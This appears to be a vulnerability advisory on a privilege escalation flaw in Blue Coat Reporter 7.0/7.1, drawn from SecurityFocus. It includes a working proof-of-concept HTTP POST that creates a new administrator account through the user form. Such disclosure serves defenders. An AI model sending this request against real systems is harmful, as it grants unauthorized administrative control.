Blue Coat Reporter 7.0/7.1 - Privilege Escalation

source: https://www.securityfocus.com/bid/13723/info

Blue Coat Reporter is prone to a remote privilege escalation vulnerability. This issue is due to a failure in the application to properly authenticate a user prior to permitting access to administrator functions.

A remote authenticated user can manipulate the form for adding new users and create a new user with administrator access.

The vendor has addressed this issue in the upcoming version 7.1.2 of the application.

The following proof of concept is available using the user account test:
POST /?dp+templates.admin.users.user_form_processing HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword,
application/x-shockwave-flash, */*
Referer:
http://www.example.com:8987/?dp+templates.admin.users.user_form+volatile.form_type+new
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.example.com:8987
Pragma: no-cache
Cookie: session_id=d9430f0d59eb43871e2c38ab84627232; authusername7=test;
authpassword7=098f6bcd4621d373cade4e832627b4f6
Content-Length: 170

submit=Save+and+Close&volatile.user.username=hurz&volatile.user.password=hurz&volatile.user.administrator=true&volatile.
user.profiles.0=profile1&volatile.form_type=new